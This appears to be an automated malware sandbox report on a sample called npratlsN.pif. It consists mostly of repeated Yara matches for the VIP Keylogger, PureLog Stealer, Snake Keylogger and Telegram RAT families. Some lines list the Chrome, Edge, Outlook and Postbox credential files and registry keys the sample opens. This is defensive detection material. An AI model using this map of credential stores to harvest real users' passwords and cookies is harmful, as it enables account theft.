              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 4544, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 3592, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 6036, type: MEMORYSTR
              Yara detected VIP Keylogger
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000A.00000002.3463602515.000000002B9EA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3457231521.00000000218FB000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3463602515.000000002B8D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 4544, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 3592, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 6036, type: MEMORYSTR
              Tries to harvest and steal browser information (history, passwords, etc)
              Source: C:\Users\Public\Libraries\npratlsN.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
              Source: C:\Users\Public\Libraries\npratlsN.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
              Source: C:\Users\Public\Libraries\npratlsN.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
              Source: C:\Users\Public\Libraries\npratlsN.pifFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
              Source: C:\Users\Public\Libraries\npratlsN.pifFile opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History
              Source: C:\Users\Public\Libraries\npratlsN.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data
              Source: C:\Users\Public\Libraries\npratlsN.pifFile opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites
              Tries to steal Mail credentials (via file / registry access)
              Source: C:\Users\Public\Libraries\npratlsN.pifFile opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676Jump to behavior
              Source: C:\Users\Public\Libraries\npratlsN.pifFile opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
              Source: C:\Users\Public\Libraries\npratlsN.pifKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
              Source: C:\Users\Public\Libraries\npratlsN.pifFile opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\
              Source: C:\Users\Public\Libraries\npratlsN.pifKey opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3463602515.000000002B8D4000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3457162026.000000002BFA1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 4544, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 3592, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 6036, type: MEMORYSTR

              Remote Access Functionality

              barindex
              Yara detected PureLog Stealer
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Yara detected Snake Keylogger
              Source: Yara matchFile source: 0000000E.00000002.3457231521.0000000021781000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3457162026.000000002BE91000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3463602515.000000002B801000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Yara detected Telegram RAT
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214fa8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 0000000E.00000002.3457231521.000000002185C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465867271.00000000242F0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3472158712.000000002DD40000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3464658722.000000002E310000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000003.1988530377.000000001F96E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3462362371.000000002B449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3456650715.000000002BB49000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000002.3473586471.000000002E490000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3465440531.0000000023CC0000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000A.00000003.1862021151.0000000029AEC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000003.2059147464.0000000029E87000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 0000000E.00000002.3456832626.00000000214B9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: 00000010.00000002.3465905610.000000002EA90000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 4544, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 3592, type: MEMORYSTR
              Source: Yara matchFile source: Process Memory Space: npratlsN.pif PID: 6036, type: MEMORYSTR
              Yara detected VIP Keylogger
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb8a8ee.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2e490000.5.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.242f0000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b489a06.1.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2ea90000.5.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2b48a8ee.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2e310ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.3.npratlsN.pif.29aec7e8.0.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0ee8.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40000.3.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.23cc0000.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 16.2.npratlsN.pif.2bb89a06.2.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 10.2.npratlsN.pif.2dd40ee8.4.raw.unpack, type: UNPACKEDPE
              Source: Yara matchFile source: 14.2.npratlsN.pif.214f9a06.1.unpack, type: UNPACKEDPE
